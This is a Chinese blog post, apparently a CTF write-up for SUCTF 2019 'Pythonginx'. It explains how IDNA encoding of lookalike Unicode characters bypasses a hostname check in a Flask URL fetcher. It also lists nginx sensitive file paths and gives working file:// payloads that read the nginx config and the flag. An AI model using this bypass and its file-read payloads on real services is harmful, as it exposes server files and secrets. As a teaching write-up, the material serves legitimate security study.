首页 > 系统相关 >WEB|[SUCTF 2019]Pythonginx

WEB|[SUCTF 2019]Pythonginx

时间:2023-05-06 14:55:22浏览次数:48  
标签:SUCTF WEB suctf url nginx host 2019 unicode cc

源码

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
    url = request.args.get("url") 
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':   # 解析主机名,不能是suctf.cc
        return "我扌 your problem? 111" 
    parts = list(urlsplit(url)) 
    host = parts[1] 
    if host == 'suctf.cc': # 分割url不能,第二部份也就是域名不能是suctf.cc
        return "我扌 your problem? 222 " + host 
    newhost = [] 
    for h in host.split('.'): # 点分host
        newhost.append(h.encode('idna').decode('utf-8')) # 分割后的部份进行idna编码
        parts[1] = '.'.join(newhost) # 去掉 url 中的空格 
        finalUrl = urlunsplit(parts).split(' ')[0] # 将主机名再次组合成 url
        host = parse.urlparse(finalUrl).hostname  # 再解析主机名
        if host == 'suctf.cc': # 主机名为suctf.cc
            return urllib.request.urlopen(finalUrl).read() # 可读取文件
        else: 
            return "我扌 your problem? 333" 

大概意思是,获取ur主机地址不能是suctf.cc,但是分割idna重新编码后主机地址需要又是suctf.cc

urlsplit, urlparse简单区别

urlsplit是拆分,而urlparse是解析,urlparse粒度更为细致

url = "https://username:[email protected]:80/index.html;parameters?name=tom#example"

urlsplit(url)
    scheme='https', 
    netloc='username:[email protected]:80', 
    path='/index.html;parameters', 
    query='name=tom', 
    fragment='example')

urlparse(url)
    scheme='https', 
    netloc='username:[email protected]:80', 
    path='/index.html', 
    params='parameters', 
    query='name=tom', 
    fragment='example'

idna与utf-8编码漏洞

国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名:指部分或完全使用特殊文字> 或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经> 过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。
idna:支持 RFC 5891 中指定的应用程序中的国际化域名 (IDNA) 协议的库。该版本的协议通常被称为> “IDNA2008”,并且可以产生与 2003 年早期标准不同的结果。
简单来说就是利用编码漏洞绕过对suctf.cc检测,某个字符串utf-8编码下不为suctf.cc,但是inda编码下为suctf.cc

# ℆字符,python3进行idna编码
print('℆'.encode('idna'))
b’c/u’

# 再使用utf-8进行解码
print(b'c/u'.decode('utf-8'))
c/u

可使用字符

ℂ unicode: \u2102
ℭ unicode: \u212d
Ⅽ unicode: \u216d
ⅽ unicode: \u217d
Ⓒ unicode: \u24b8
ⓒ unicode: \u24d2
C unicode: \uff23
c unicode: \uff43

nginx敏感文件

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

payload

读取敏感文件,获得flag位置

getUrl?url=file://suctf.cⅭ/usr/local/nginx/conf/nginx.conf

/usr/fffffflag


读取flag

getUrl?url=file://suctf.cⅭ/usr/fffffflag

flag{fbb5e4cb-b83e-4bec-b0d9-028de780e85b}

标签:SUCTF,WEB,suctf,url,nginx,host,2019,unicode,cc
From: https://www.cnblogs.com/scarecr0w7/p/17377313.html

相关文章

  • WEB|[HITCON 2017]SSRFme
    源码110.244.80.206<?phpif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$http_x_headers=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR']=$http_x_headers[0];}#获取......
  • WEB|[De1CTF 2019]SSRF Me
    页面代码为python代码,题目提示为SSRF,并且flagisin./flag.txt格式化代码#!/usr/bin/envpython##encoding=utf-8fromflaskimportFlaskfromflaskimportrequestimportsocketimporthashlibimporturllibimportsysimportosimportjsonreload(sys)sys.se......
  • 一统天下 flutter - 存储: shared_preferences - 用于操作 android 的 SharedPreferen
    源码https://github.com/webabcd/flutter_demo作者webabcd一统天下flutter-存储:shared_preferences-用于操作android的SharedPreferences,ios的NSUserDefaults,web的LocalStorage示例如下:lib\storage\shared_preferences.dart/**shared_preferences......
  • Crypto|[GWCTF 2019]BabyRSA
    encrypt.pyimporthashlibimportsympyfromCrypto.Util.numberimport*flag='GWHT{******}'secret='******'assert(len(flag)==38)half=len(flag)/2flag1=flag[:half]flag2=flag[half:]secret_num=getPrime(1024)*byt......
  • Crypto|[NCTF2019]babyRSA
    task.pyfromCrypto.Util.numberimport*fromflagimportflagdefnextPrime(n):n+=2ifn&1else1whilenotisPrime(n):n+=2returnnp=getPrime(1024)q=nextPrime(p)n=p*qe=0x10001d=inverse(e,(p-1)*(q-1))......
  • Reverse|[GXYCTF2019]luck_guy
    ida64打开文件,搜索字符串进入pleaseinputaluckynumber伪代码输入数字进入patch_me(v4);,输入数字为偶数进入get_flag()函数unsigned__int64get_flag(){unsignedintv0;//eaxcharv1;//alsignedinti;//[rsp+4h][rbp-3Ch]signedintj;//[rsp......
  • django的web项目中重定向页面时的部分信息传输——以删除含有分页的列表记录为例
    问题:在管理系统界面往往是有分页的,初次编写列表的删除功能时很可能会出现删完之后页面跳转到第一页的问题,或者筛选完之后删除某一项结果删完之后跳转到未筛选页面。与实际分页管理的效果大庭相径。解决思路:1.起初只遇到了分页的情况,解决方法很简单,在删除按钮的href中直接传值,例......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......
  • Web|Buuctf [NCTF2019]SQLi
    直接给出了查询语句select*fromuserswhereusername=''andpasswd=''构造语句查询,发现有过滤fuzz一下,很多参数都被过滤robots协议下发现hint.txt文件hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag解题思路无......
  • SpringWeb Flux入门
    新建项目,加入依赖:<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-webflux</artifactId></dependency><dependency><groupId>org.springframew......